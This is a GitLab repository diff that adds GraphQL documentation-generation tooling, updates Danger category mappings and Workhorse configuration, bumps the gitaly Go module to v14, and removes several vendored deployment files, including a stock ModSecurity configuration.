@@ -76,11 +73,11 @@ module Tooling
)\z}x => %i[frontend engineering_productivity],
%r{\A(ee/)?db/(geo/)?(migrate|post_migrate)/} => [:database, :migration],
- %r{\A(ee/)?db/(?!fixtures)[^/]+} => :database,
- %r{\A(ee/)?lib/gitlab/(database|background_migration|sql|github_import)(/|\.rb)} => :database,
- %r{\A(app/services/authorized_project_update/find_records_due_for_refresh_service)(/|\.rb)} => :database,
- %r{\A(app/models/project_authorization|app/services/users/refresh_authorized_projects_service)(/|\.rb)} => :database,
- %r{\A(ee/)?app/finders/} => :database,
+ %r{\A(ee/)?db/(?!fixtures)[^/]+} => [:database],
+ %r{\A(ee/)?lib/gitlab/(database|background_migration|sql|github_import)(/|\.rb)} => [:database, :backend],
+ %r{\A(app/services/authorized_project_update/find_records_due_for_refresh_service)(/|\.rb)} => [:database, :backend],
+ %r{\A(app/models/project_authorization|app/services/users/refresh_authorized_projects_service)(/|\.rb)} => [:database, :backend],
+ %r{\A(ee/)?app/finders/} => [:database, :backend],
%r{\Arubocop/cop/migration(/|\.rb)} => :database,
%r{\A(\.gitlab-ci\.yml\z|\.gitlab\/ci)} => :engineering_productivity,
diff --git a/tooling/graphql/docs/helper.rb b/tooling/graphql/docs/helper.rb
new file mode 100644
index 00000000000..4a41930df46
--- /dev/null
+++ b/tooling/graphql/docs/helper.rb
@@ -0,0 +1,438 @@
+# frozen_string_literal: true
+
+require 'gitlab/utils/strong_memoize'
+
+module Tooling
+ module Graphql
+ module Docs
+ # We assume a few things about the schema. We use the graphql-ruby gem, which enforces:
+ # - All mutations have a single input field named 'input'
+ # - All mutations have a payload type, named after themselves
+ # - All mutations have an input type, named after themselves
+ # If these things change, then some of this code will break. Such places
+ # are guarded with an assertion that our assumptions are not violated.
+ ViolatedAssumption = Class.new(StandardError)
+
+ SUGGESTED_ACTION = <<~MSG
+ We expect it to be impossible to violate our assumptions about
+ how mutation arguments work.
+
+ If that is not the case, then something has probably changed in the
+ way we generate our schema, perhaps in the library we use: graphql-ruby
+
+ Please ask for help in the #f_graphql or #backend channels.
+ MSG
+
+ CONNECTION_ARGS = %w[after before first last].to_set
+
+ FIELD_HEADER = <<~MD
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ MD
+
+ ARG_HEADER = <<~MD
+ # Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ MD
+
+ CONNECTION_NOTE = <<~MD
+ This field returns a [connection](#connections). It accepts the
+ four standard [pagination arguments](#connection-pagination-arguments):
+ `before: String`, `after: String`, `first: Int`, `last: Int`.
+ MD
+
+ # Helper with functions to be used by HAML templates
+ # This includes graphql-docs gem helpers class.
+ # You can check the included module on: https://github.com/gjtorikian/graphql-docs/blob/v1.6.0/lib/graphql-docs/helpers.rb
+ module Helper
+ include GraphQLDocs::Helpers
+ include Gitlab::Utils::StrongMemoize
+
+ def auto_generated_comment
+ <<-MD.strip_heredoc
+ ---
+ stage: Plan
+ group: Project Management
+ info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+ ---
+
+ <!---
+ This documentation is auto generated by a script.
+
+ Please do not edit this file directly, check compile_docs task on lib/tasks/gitlab/graphql.rake.
+ --->
+ MD
+ end
+
+ # Template methods:
+ # Methods that return chunks of Markdown for insertion into the document
+
+ def render_full_field(field, heading_level: 3, owner: nil)
+ conn = connection?(field)
+ args = field[:arguments].reject { |arg| conn && CONNECTION_ARGS.include?(arg[:name]) }
+ arg_owner = [owner, field[:name]]
+
+ chunks = [
+ render_name_and_description(field, level: heading_level, owner: owner),
+ render_return_type(field),
+ render_input_type(field),
+ render_connection_note(field),
+ render_argument_table(heading_level, args, arg_owner),
+ render_return_fields(field, owner: owner)
+ ]
+
+ join(:block, chunks)
+ end
+
+ def render_argument_table(level, args, owner)
+ arg_header = ('#' * level) + ARG_HEADER
+ render_field_table(arg_header, args, owner)
+ end
+
+ def render_name_and_description(object, owner: nil, level: 3)
+ content = []
+
+ heading = '#' * level
+ name = [owner, object[:name]].compact.join('.')
+
+ content << "#{heading} `#{name}`"
+ content << render_description(object, owner, :block)
+
+ join(:block, content)
+ end
+
+ def render_object_fields(fields, owner:, level_bump: 0)
+ return if fields.blank?
+
+ (with_args, no_args) = fields.partition { |f| args?(f) }
+ type_name = owner[:name] if owner
+ header_prefix = '#' * level_bump
+ sections = [
+ render_simple_fields(no_args, type_name, header_prefix),
+ render_fields_with_arguments(with_args, type_name, header_prefix)
+ ]
+
+ join(:block, sections)
+ end
+
+ def render_enum_value(enum, value)
+ render_row(render_name(value, enum[:name]), render_description(value, enum[:name], :inline))
+ end
+
+ def render_union_member(member)
+ "- [`#{member}`](##{member.downcase})"
+ end
+
+ # QUERIES:
+
+ # Methods that return parts of the schema, or related information:
+
+ def connection_object_types
+ objects.select { |t| t[:is_edge] || t[:is_connection] }
+ end
+
+ def object_types
+ objects.reject { |t| t[:is_edge] || t[:is_connection] || t[:is_payload] }
+ end
+
+ def interfaces
+ graphql_interface_types.map { |t| t.merge(fields: t[:fields] + t[:connections]) }
+ end
+
+ def fields_of(type_name)
+ graphql_operation_types
+ .find { |type| type[:name] == type_name }
+ .values_at(:fields, :connections)
+ .flatten
+ .then { |fields| sorted_by_name(fields) }
+ end
+
+ # Place the arguments of the input types on the mutation itself.
+ # see: `#input_types` - this method must not call `#input_types` to avoid mutual recursion
+ def mutations
+ @mutations ||= sorted_by_name(graphql_mutation_types).map do |t|
+ inputs = t[:input_fields]
+ input = inputs.first
+ name = t[:name]
+
+ assert!(inputs.one?, "Expected exactly 1 input field named #{name}. Found #{inputs.count} instead.")
+ assert!(input[:name] == 'input', "Expected the input of #{name} to be named 'input'")
+
+ input_type_name = input[:type][:name]
+ input_type = graphql_input_object_types.find { |t| t[:name] == input_type_name }
+ assert!(input_type.present?, "Cannot find #{input_type_name} for #{name}.input")
+
+ arguments = input_type[:input_fields]
+ seen_type!(input_type_name)
+ t.merge(arguments: arguments)
+ end
+ end
+
+ # We assume that the mutations have been processed first, marking their
+ # inputs as `seen_type?`
+ def input_types
+ mutations # ensure that mutations have seen their inputs first
+ graphql_input_object_types.reject { |t| seen_type?(t[:name]) }
+ end
+
+ # We ignore the built-in enum types, and sort values by name
+ def enums
+ graphql_enum_types
+ .reject { |type| type[:values].empty? }
+ .reject { |enum_type| enum_type[:name].start_with?('__') }
+ .map { |type| type.merge(values: sorted_by_name(type[:values])) }
+ end
+
+ private # DO NOT CALL THESE METHODS IN TEMPLATES
+
+ # Template methods
+
+ def render_return_type(query)
+ return unless query[:type] # for example, mutations
+
+ "Returns #{render_field_type(query[:type])}."
+ end
+
+ def render_simple_fields(fields, type_name, header_prefix)
+ render_field_table(header_prefix + FIELD_HEADER, fields, type_name)
+ end
+
+ def render_fields_with_arguments(fields, type_name, header_prefix)
+ return if fields.empty?
+
+ level = 5 + header_prefix.length
+ sections = sorted_by_name(fields).map do |f|
+ render_full_field(f, heading_level: level, owner: type_name)
+ end
+
+ <<~MD.chomp
+ #{header_prefix}#### Fields with arguments
+
+ #{join(:block, sections)}
+ MD
+ end
+
+ def render_field_table(header, fields, owner)
+ return if fields.empty?
+
+ fields = sorted_by_name(fields)
+ header + join(:table, fields.map { |f| render_field(f, owner) })
+ end
+
+ def render_field(field, owner)
+ render_row(
+ render_name(field, owner),
+ render_field_type(field[:type]),
+ render_description(field, owner, :inline)
+ )
+ end
+
+ def render_return_fields(mutation, owner:)
+ fields = mutation[:return_fields]
+ return if fields.blank?
+
+ name = owner.to_s + mutation[:name]
+ render_object_fields(fields, owner: { name: name })
+ end
+
+ def render_connection_note(field)
+ return unless connection?(field)
+
+ CONNECTION_NOTE.chomp
+ end
+
+ def render_row(*values)
+ "| #{values.map { |val| val.to_s.squish }.join(' | ')} |"
+ end
+
+ def render_name(object, owner = nil)
+ rendered_name = "`#{object[:name]}`"
+ rendered_name += ' **{warning-solid}**' if deprecated?(object, owner)
+
+ return rendered_name unless owner
+
+ owner = Array.wrap(owner).join('')
+ id = (owner + object[:name]).downcase
+
+ %(<a id="#{id}"></a>) + rendered_name
+ end
+
+ # Returns the object description. If the object has been deprecated,
+ # the deprecation reason will be returned in place of the description.
+ def render_description(object, owner = nil, context = :block)
+ if deprecated?(object, owner)
+ render_deprecation(object, owner, context)
+ else
+ render_description_of(object, owner, context)
+ end
+ end
+
+ def deprecated?(object, owner)
+ return true if object[:is_deprecated] # only populated for fields, not arguments!
+
+ key = [*Array.wrap(owner), object[:name]].join('.')
+ deprecations.key?(key)
+ end
+
+ def render_description_of(object, owner, context = nil)
+ desc = if object[:is_edge]
+ base = object[:name].chomp('Edge')
+ "The edge type for [`#{base}`](##{base.downcase})."
+ elsif object[:is_connection]
+ base = object[:name].chomp('Connection')
+ "The connection type for [`#{base}`](##{base.downcase})."
+ else
+ object[:description]&.strip
+ end
+
+ return if desc.blank?
+
+ desc += '.' unless desc.ends_with?('.')
+ see = doc_reference(object, owner)
+ desc += " #{see}" if see
+ desc += " (see [Connections](#connections))" if connection?(object) && context != :block
+ desc
+ end
+
+ def doc_reference(object, owner)
+ field = schema_field(owner, object[:name]) if owner
+ return unless field
+
+ ref = field.try(:doc_reference)
+ return if ref.blank?
+
+ parts = ref.to_a.map do |(title, url)|
+ "[#{title.strip}](#{url.strip})"
+ end
+
+ "See #{parts.join(', ')}."
+ end
+
+ def render_deprecation(object, owner, context)
+ buff = []
+ deprecation = schema_deprecation(owner, object[:name])
+
+ buff << (deprecation&.original_description || render_description_of(object, owner)) if context == :block
+ buff << if deprecation
+ deprecation.markdown(context: context)
+ else
+ "**Deprecated:** #{object[:deprecation_reason]}"
+ end
+
+ join(context, buff)
+ end
+
+ def render_field_type(type)
+ "[`#{type[:info]}`](##{type[:name].downcase})"
+ end
+
+ def join(context, chunks)
+ chunks.compact!
+ return if chunks.blank?
+
+ case context
+ when :block
+ chunks.join("\n\n")
+ when :inline
+ chunks.join(" ").squish.presence
+ when :table
+ chunks.join("\n")
+ end
+ end
+
+ # Queries
+
+ def sorted_by_name(objects)
+ return [] unless objects.present?
+
+ objects.sort_by { |o| o[:name] }
+ end
+
+ def connection?(field)
+ type_name = field.dig(:type, :name)
+ type_name.present? && type_name.ends_with?('Connection')
+ end
+
+ # We are ignoring connections and built in types for now,
+ # they should be added when queries are generated.
+ def objects
+ strong_memoize(:objects) do
+ mutations = schema.mutation&.fields&.keys&.to_set || []
+
+ graphql_object_types
+ .reject { |object_type| object_type[:name]["__"] || object_type[:name] == 'Subscription' } # We ignore introspection and subscription types.
+ .map do |type|
+ name = type[:name]
+ type.merge(
+ is_edge: name.ends_with?('Edge'),
+ is_connection: name.ends_with?('Connection'),
+ is_payload: name.ends_with?('Payload') && mutations.include?(name.chomp('Payload').camelcase(:lower)),
+ fields: type[:fields] + type[:connections]
+ )
+ end
+ end
+ end
+
+ def args?(field)
+ args = field[:arguments]
+ return false if args.blank?
+ return true unless connection?(field)
+
+ args.any? { |arg| CONNECTION_ARGS.exclude?(arg[:name]) }
+ end
+
+ # returns the deprecation information for a field or argument
+ # See: Gitlab::Graphql::Deprecation
+ def schema_deprecation(type_name, field_name)
+ key = [*Array.wrap(type_name), field_name].join('.')
+ deprecations[key]
+ end
+
+ def render_input_type(query)
+ input_field = query[:input_fields]&.first
+ return unless input_field
+
+ "Input type: `#{input_field[:type][:name]}`"
+ end
+
+ def schema_field(type_name, field_name)
+ type = schema.types[type_name]
+ return unless type && type.kind.fields?
+
+ type.fields[field_name]
+ end
+
+ def deprecations
+ strong_memoize(:deprecations) do
+ mapping = {}
+
+ schema.types.each do |type_name, type|
+ if type.kind.fields?
+ type.fields.each do |field_name, field|
+ mapping["#{type_name}.#{field_name}"] = field.try(:deprecation)
+ field.arguments.each do |arg_name, arg|
+ mapping["#{type_name}.#{field_name}.#{arg_name}"] = arg.try(:deprecation)
+ end
+ end
+ elsif type.kind.enum?
+ type.values.each do |member_name, enum|
+ mapping["#{type_name}.#{member_name}"] = enum.try(:deprecation)
+ end
+ end
+ end
+
+ mapping.compact
+ end
+ end
+
+ def assert!(claim, message)
+ raise ViolatedAssumption, "#{message}\n#{SUGGESTED_ACTION}" unless claim
+ end
+ end
+ end
+ end
+end
diff --git a/tooling/graphql/docs/renderer.rb b/tooling/graphql/docs/renderer.rb
new file mode 100644
index 00000000000..0c2e8cb3b86
--- /dev/null
+++ b/tooling/graphql/docs/renderer.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative 'helper'
+
+module Tooling
+ module Graphql
+ module Docs
+ # Gitlab renderer for graphql-docs.
+ # Uses HAML templates to parse markdown and generate .md files.
+ # It uses graphql-docs helpers and schema parser, more information in https://github.com/gjtorikian/graphql-docs.
+ #
+ # Arguments:
+ # schema - the GraphQL schema definition. For GitLab should be: GitlabSchema
+ # output_dir: The folder where the markdown files will be saved
+ # template: The path of the haml template to be parsed
+ class Renderer
+ include Tooling::Graphql::Docs::Helper
+
+ attr_reader :schema
+
+ def initialize(schema, output_dir:, template:)
+ @output_dir = output_dir
+ @template = template
+ @layout = Haml::Engine.new(File.read(template))
+ @parsed_schema = GraphQLDocs::Parser.new(schema.graphql_definition, {}).parse
+ @schema = schema
+ @seen = Set.new
+ end
+
+ def contents
+ # Render and remove an extra trailing new line
+ @contents ||= @layout.render(self).sub!(/\n(?=\Z)/, '')
+ end
+
+ def write
+ filename = File.join(@output_dir, 'index.md')
+
+ FileUtils.mkdir_p(@output_dir)
+ File.write(filename, contents)
+ end
+
+ private
+
+ def seen_type?(name)
+ @seen.include?(name)
+ end
+
+ def seen_type!(name)
+ @seen << name
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/graphql/docs/templates/default.md.haml b/tooling/graphql/docs/templates/default.md.haml
index 7d42fb3a9f8..7d42fb3a9f8 100644
--- a/lib/gitlab/graphql/docs/templates/default.md.haml
+++ b/tooling/graphql/docs/templates/default.md.haml
diff --git a/vendor/Dockerfile/OpenJDK-alpine.Dockerfile b/vendor/Dockerfile/OpenJDK-alpine.Dockerfile
deleted file mode 100644
index ee853d9cfd2..00000000000
--- a/vendor/Dockerfile/OpenJDK-alpine.Dockerfile
+++ /dev/null
@@ -1,8 +0,0 @@
-FROM openjdk:8-alpine
-
-COPY . /usr/src/myapp
-WORKDIR /usr/src/myapp
-
-RUN javac Main.java
-
-CMD ["java", "Main"]
diff --git a/vendor/elastic_stack/values.yaml b/vendor/elastic_stack/values.yaml
index 65e9c4b683f..59a6037efeb 100644
--- a/vendor/elastic_stack/values.yaml
+++ b/vendor/elastic_stack/values.yaml
@@ -61,12 +61,6 @@ filebeat:
target_field: tie_breaker_id
- add_cloud_metadata: ~
- add_kubernetes_metadata: ~
- - decode_json_fields:
- fields: ["message"]
- when:
- equals:
- kubernetes.container.namespace: "gitlab-managed-apps"
- kubernetes.container.name: "modsecurity-log"
kibana:
enabled: false
elasticsearchHosts: "http://elastic-stack-elasticsearch-master:9200"
diff --git a/vendor/fluentd/values.yaml b/vendor/fluentd/values.yaml
deleted file mode 100644
index a5072ef14ae..00000000000
--- a/vendor/fluentd/values.yaml
+++ /dev/null
@@ -1,18 +0,0 @@
-plugins:
- enabled: true
- pluginsList: ["fluent-plugin-remote_syslog"]
-
-extraVolumes:
- - name: varlog
- hostPath:
- path: /var/log
- - name: varlibdockercontainers
- hostPath:
- path: /var/lib/docker/containers
-
-extraVolumeMounts:
- - name: varlog
- mountPath: /var/log
- - name: varlibdockercontainers
- mountPath: /var/lib/docker/containers
- readOnly: true
diff --git a/vendor/ingress/modsecurity.conf b/vendor/ingress/modsecurity.conf
deleted file mode 100644
index 3a6b5cee2e5..00000000000
--- a/vendor/ingress/modsecurity.conf
+++ /dev/null
@@ -1,274 +0,0 @@
-# -- GitLab Customization ----------------------------------------------
-# Based on https://github.com/SpiderLabs/ModSecurity/blob/v3.0.3/modsecurity.conf-recommended
-# Our base modsecurity.conf includes some minor customization:
-# - `SecRuleEngine` is disabled, defaulting to `DetectionOnly`. Overridable at project-level
-# - `SecAuditLogType` is disabled, defaulting to `Serial`. Overridable at project-level
-# - `SecStatusEngine` is disabled, to disallow usage reporting
-#
-# ----------------------------------------------------------------------------
-
-# -- Rule engine initialization ----------------------------------------------
-
-# Enable ModSecurity, attaching it to every transaction. Use detection
-# only to start with, because that minimises the chances of post-installation
-# disruption.
-#
-# SecRuleEngine DetectionOnly
-
-
-# -- Request body handling ---------------------------------------------------
-
-# Allow ModSecurity to access request bodies. If you don't, ModSecurity
-# won't be able to see any POST parameters, which opens a large security
-# hole for attackers to exploit.
-#
-SecRequestBodyAccess On
-
-
-# Enable XML request body parser.
-# Initiate XML Processor in case of xml content-type
-#
-SecRule REQUEST_HEADERS:Content-Type "(?:application(?:/soap\+|/)|text/)xml" \
- "id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML"
-
-# Enable JSON request body parser.
-# Initiate JSON Processor in case of JSON content-type; change accordingly
-# if your application does not use 'application/json'
-#
-SecRule REQUEST_HEADERS:Content-Type "application/json" \
- "id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON"
-
-# Maximum request body size we will accept for buffering. If you support
-# file uploads then the value given on the first line has to be as large
-# as the largest file you are willing to accept. The second value refers
-# to the size of data, with files excluded. You want to keep that value as
-# low as practical.
-#
-SecRequestBodyLimit 13107200
-SecRequestBodyNoFilesLimit 131072
-
-# What do do if the request body size is above our configured limit.
-# Keep in mind that this setting will automatically be set to ProcessPartial
-# when SecRuleEngine is set to DetectionOnly mode in order to minimize
-# disruptions when initially deploying ModSecurity.
-#
-SecRequestBodyLimitAction Reject
-
-# Verify that we've correctly processed the request body.
-# As a rule of thumb, when failing to process a request body
-# you should reject the request (when deployed in blocking mode)
-# or log a high-severity alert (when deployed in detection-only mode).
-#
-SecRule REQBODY_ERROR "!@eq 0" \
-"id:'200002', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2"
-
-# By default be strict with what we accept in the multipart/form-data
-# request body. If the rule below proves to be too strict for your
-# environment consider changing it to detection-only. You are encouraged
-# _not_ to remove it altogether.
-#
-SecRule MULTIPART_STRICT_ERROR "!@eq 0" \
-"id:'200003',phase:2,t:none,log,deny,status:400, \
-msg:'Multipart request body failed strict validation: \
-PE %{REQBODY_PROCESSOR_ERROR}, \
-BQ %{MULTIPART_BOUNDARY_QUOTED}, \
-BW %{MULTIPART_BOUNDARY_WHITESPACE}, \
-DB %{MULTIPART_DATA_BEFORE}, \
-DA %{MULTIPART_DATA_AFTER}, \
-HF %{MULTIPART_HEADER_FOLDING}, \
-LF %{MULTIPART_LF_LINE}, \
-SM %{MULTIPART_MISSING_SEMICOLON}, \
-IQ %{MULTIPART_INVALID_QUOTING}, \
-IP %{MULTIPART_INVALID_PART}, \
-IH %{MULTIPART_INVALID_HEADER_FOLDING}, \
-FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'"
-
-# Did we see anything that might be a boundary?
-#
-# Here is a short description about the ModSecurity Multipart parser: the
-# parser returns with value 0, if all "boundary-like" line matches with
-# the boundary string which given in MIME header. In any other cases it returns
-# with different value, eg. 1 or 2.
-#
-# The RFC 1341 descript the multipart content-type and its syntax must contains
-# only three mandatory lines (above the content):
-# * Content-Type: multipart/mixed; boundary=BOUNDARY_STRING
-# * --BOUNDARY_STRING
-# * --BOUNDARY_STRING--
-#
-# First line indicates, that this is a multipart content, second shows that
-# here starts a part of the multipart content, third shows the end of content.
-#
-# If there are any other lines, which starts with "--", then it should be
-# another boundary id - or not.
-#
-# After 3.0.3, there are two kinds of types of boundary errors: strict and permissive.
-#
-# If multipart content contains the three necessary lines with correct order, but
-# there are one or more lines with "--", then parser returns with value 2 (non-zero).
-#
-# If some of the necessary lines (usually the start or end) misses, or the order
-# is wrong, then parser returns with value 1 (also a non-zero).
-#
-# You can choose, which one is what you need. The example below contains the
-# 'strict' mode, which means if there are any lines with start of "--", then
-# ModSecurity blocked the content. But the next, commented example contains
-# the 'permissive' mode, then you check only if the necessary lines exists in
-# correct order. Whit this, you can enable to upload PEM files (eg "----BEGIN.."),
-# or other text files, which contains eg. HTTP headers.
-#
-# The difference is only the operator - in strict mode (first) the content blocked
-# in case of any non-zero value. In permissive mode (second, commented) the
-# content blocked only if the value is explicit 1. If it 0 or 2, the content will
-# allowed.
-#
-
-#
-# See #1747 and #1924 for further information on the possible values for
-# MULTIPART_UNMATCHED_BOUNDARY.
-#
-SecRule MULTIPART_UNMATCHED_BOUNDARY "@eq 1" \
- "id:'200004',phase:2,t:none,log,deny,msg:'Multipart parser detected a possible unmatched boundary.'"
-
-
-# PCRE Tuning
-# We want to avoid a potential RegEx DoS condition
-#
-SecPcreMatchLimit 1000
-SecPcreMatchLimitRecursion 1000
-
-# Some internal errors will set flags in TX and we will need to look for these.
-# All of these are prefixed with "MSC_". The following flags currently exist:
-#
-# MSC_PCRE_LIMITS_EXCEEDED: PCRE match limits were exceeded.
-#
-SecRule TX:/^MSC_/ "!@streq 0" \
- "id:'200005',phase:2,t:none,deny,msg:'ModSecurity internal error flagged: %{MATCHED_VAR_NAME}'"
-
-
-# -- Response body handling --------------------------------------------------
-
-# Allow ModSecurity to access response bodies.
-# You should have this directive enabled in order to identify errors
-# and data leakage issues.
-#
-# Do keep in mind that enabling this directive does increases both
-# memory consumption and response latency.
-#
-SecResponseBodyAccess On
-
-# Which response MIME types do you want to inspect? You should adjust the
-# configuration below to catch documents but avoid static files
-# (e.g., images and archives).
-#
-SecResponseBodyMimeType text/plain text/html text/xml
-
-# Buffer response bodies of up to 512 KB in length.
-SecResponseBodyLimit 524288
-
-# What happens when we encounter a response body larger than the configured
-# limit? By default, we process what we have and let the rest through.
-# That's somewhat less secure, but does not break any legitimate pages.
-#
-SecResponseBodyLimitAction ProcessPartial
-
-
-# -- Filesystem configuration ------------------------------------------------
-
-# The location where ModSecurity stores temporary files (for example, when
-# it needs to handle a file upload that is larger than the configured limit).
-#
-# This default setting is chosen due to all systems have /tmp available however,
-# this is less than ideal. It is recommended that you specify a location that's private.
-#
-SecTmpDir /tmp/
-
-# The location where ModSecurity will keep its persistent data. This default setting
-# is chosen due to all systems have /tmp available however, it
-# too should be updated to a place that other users can't access.
-#
-SecDataDir /tmp/
-
-
-# -- File uploads handling configuration -------------------------------------
-
-# The location where ModSecurity stores intercepted uploaded files. This
-# location must be private to ModSecurity. You don't want other users on
-# the server to access the files, do you?
-#
-#SecUploadDir /opt/modsecurity/var/upload/
-
-# By default, only keep the files that were determined to be unusual
-# in some way (by an external inspection script). For this to work you
-# will also need at least one file inspection rule.
-#
-#SecUploadKeepFiles RelevantOnly
-
-# Uploaded files are by default created with permissions that do not allow
-# any other user to access them. You may need to relax that if you want to
-# interface ModSecurity to an external program (e.g., an anti-virus).
-#
-#SecUploadFileMode 0600
-
-
-# -- Debug log configuration -------------------------------------------------
-
-# The default debug log configuration is to duplicate the error, warning
-# and notice messages from the error log.
-#
-#SecDebugLog /opt/modsecurity/var/log/debug.log
-#SecDebugLogLevel 3
-
-
-# -- Audit log configuration -------------------------------------------------
-
-# Log the transactions that are marked by a rule, as well as those that
-# trigger a server error (determined by a 5xx or 4xx, excluding 404,
-# level response status codes).
-#
-SecAuditEngine RelevantOnly
-SecAuditLogRelevantStatus "^(?:5|4(?!04))"
-
-# Log everything we know about a transaction.
-SecAuditLogParts ABIJDEFHZ
-
-# Use a single file for logging. This is much easier to look at, but
-# assumes that you will use the audit log only ocassionally.
-#
-# SecAuditLogType Serial
-SecAuditLogFormat JSON
-SecAuditLog /var/log/modsec/audit.log
-
-# Specify the path for concurrent audit logging.
-#SecAuditLogStorageDir /opt/modsecurity/var/audit/
-
-
-# -- Miscellaneous -----------------------------------------------------------
-
-# Use the most commonly used application/x-www-form-urlencoded parameter
-# separator. There's probably only one application somewhere that uses
-# something else so don't expect to change this value.
-#
-SecArgumentSeparator &
-
-# Settle on version 0 (zero) cookies, as that is what most applications
-# use. Using an incorrect cookie version may open your installation to
-# evasion attacks (against the rules that examine named cookies).
-#
-SecCookieFormat 0
-
-# Specify your Unicode Code Point.
-# This mapping is used by the t:urlDecodeUni transformation function
-# to properly map encoded data to your language. Properly setting
-# these directives helps to reduce false positives and negatives.
-#
-SecUnicodeMapFile unicode.mapping 20127
-
-# Improve the quality of ModSecurity by sharing information about your
-# current ModSecurity version and dependencies versions.
-# The following information will be shared: ModSecurity version,
-# Web Server version, APR version, PCRE version, Lua version, Libxml2
-# version, Anonymous unique id for host.
-# SecStatusEngine On
-
-
diff --git a/vendor/project_templates/cluster_management.tar.gz b/vendor/project_templates/cluster_management.tar.gz
index 598b96d0308..d24470f1642 100644
--- a/vendor/project_templates/cluster_management.tar.gz
+++ b/vendor/project_templates/cluster_management.tar.gz
Binary files differ
diff --git a/workhorse/config.toml.example b/workhorse/config.toml.example
index 78828d3875a..cb29508a90b 100644
--- a/workhorse/config.toml.example
+++ b/workhorse/config.toml.example
@@ -1,4 +1,5 @@
# alt_document_root = '/home/git/public/assets'
+# shutdown_timeout = "60s"
[redis]
URL = "unix:/home/git/gitlab/redis/redis.socket"
diff --git a/workhorse/config_test.go b/workhorse/config_test.go
index f9d12bd5e2b..b1b04cb9a65 100644
--- a/workhorse/config_test.go
+++ b/workhorse/config_test.go
@@ -16,12 +16,20 @@ import (
"gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream"
)
+func TestDefaultConfig(t *testing.T) {
+ _, cfg, err := buildConfig("test", []string{"-config", "/dev/null"})
+ require.NoError(t, err, "build config")
+
+ require.Equal(t, 0*time.Second, cfg.ShutdownTimeout.Duration)
+}
+
func TestConfigFile(t *testing.T) {
f, err := ioutil.TempFile("", "workhorse-config-test")
require.NoError(t, err)
defer os.Remove(f.Name())
data := `
+shutdown_timeout = "60s"
[redis]
password = "redis password"
[object_storage]
@@ -43,6 +51,7 @@ max_scaler_procs = 123
require.Equal(t, "redis password", cfg.Redis.Password)
require.Equal(t, "test provider", cfg.ObjectStorageCredentials.Provider)
require.Equal(t, uint32(123), cfg.ImageResizerConfig.MaxScalerProcs, "image resizer max_scaler_procs")
+ require.Equal(t, 60*time.Second, cfg.ShutdownTimeout.Duration)
}
func TestConfigErrorHelp(t *testing.T) {
diff --git a/workhorse/doc/operations/configuration.md b/workhorse/doc/operations/configuration.md
index bc53df3acab..8694cf1bd82 100644
--- a/workhorse/doc/operations/configuration.md
+++ b/workhorse/doc/operations/configuration.md
@@ -11,7 +11,7 @@ All new configuration options that get added to Workhorse should go into the con
Options:
-apiCiLongPollingDuration duration
- Long polling duration for job requesting for runners (default 50s - enabled) (default 50ns)
+ Long polling duration for job requesting for runners (default 50ns)
-apiLimit uint
Number of API requests allowed at single time
-apiQueueDuration duration
@@ -103,15 +103,11 @@ Optional fields are as follows:
```
[redis]
DB = 0
-ReadTimeout = "1s"
-KeepAlivePeriod = "5m"
MaxIdle = 1
MaxActive = 1
```
- `DB` is the Database to connect to. Defaults to `0`
-- `ReadTimeout` is how long a redis read-command can take. Defaults to `1s`
-- `KeepAlivePeriod` is how long the redis connection is to be kept alive without anything flowing through it. Defaults to `5m`
- `MaxIdle` is how many idle connections can be in the redis-pool at once. Defaults to 1
- `MaxActive` is how many connections the pool can keep. Defaults to 1
diff --git a/workhorse/gitaly_integration_test.go b/workhorse/gitaly_integration_test.go
index 418d9589235..e1b26bf39a7 100644
--- a/workhorse/gitaly_integration_test.go
+++ b/workhorse/gitaly_integration_test.go
@@ -17,7 +17,7 @@ import (
"testing"
"github.com/stretchr/testify/require"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
diff --git a/workhorse/gitaly_test.go b/workhorse/gitaly_test.go
index d0e694bf8e7..753bc912a19 100644
--- a/workhorse/gitaly_test.go
+++ b/workhorse/gitaly_test.go
@@ -24,7 +24,7 @@ import (
"google.golang.org/grpc"
"google.golang.org/grpc/codes"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/git"
diff --git a/workhorse/go.mod b/workhorse/go.mod
index 66d199984f3..cd51f4e9f7b 100644
--- a/workhorse/go.mod
+++ b/workhorse/go.mod
@@ -28,7 +28,7 @@ require (
github.com/sirupsen/logrus v1.8.1
github.com/smartystreets/goconvey v1.6.4
github.com/stretchr/testify v1.7.0
- gitlab.com/gitlab-org/gitaly v1.74.0
+ gitlab.com/gitlab-org/gitaly/v14 v14.0.0-rc1
gitlab.com/gitlab-org/labkit v1.4.0
gocloud.dev v0.21.1-0.20201223184910-5094f54ed8bb
golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5 // indirect
@@ -39,8 +39,3 @@ require (
google.golang.org/grpc v1.37.0
honnef.co/go/tools v0.1.3
)
-
-// go get tries to enforce semantic version compatibility via module paths.
-// We can't upgrade to Gitaly v13.x.x from v1.x.x without using a manual override.
-// See https://gitlab.com/gitlab-org/gitaly/-/issues/3177 for more details.
-replace gitlab.com/gitlab-org/gitaly => gitlab.com/gitlab-org/gitaly v1.87.1-0.20201001041716-3f5e218def93
diff --git a/workhorse/go.sum b/workhorse/go.sum
index 5a153f946ac..3f9b36b5b49 100644
--- a/workhorse/go.sum
+++ b/workhorse/go.sum
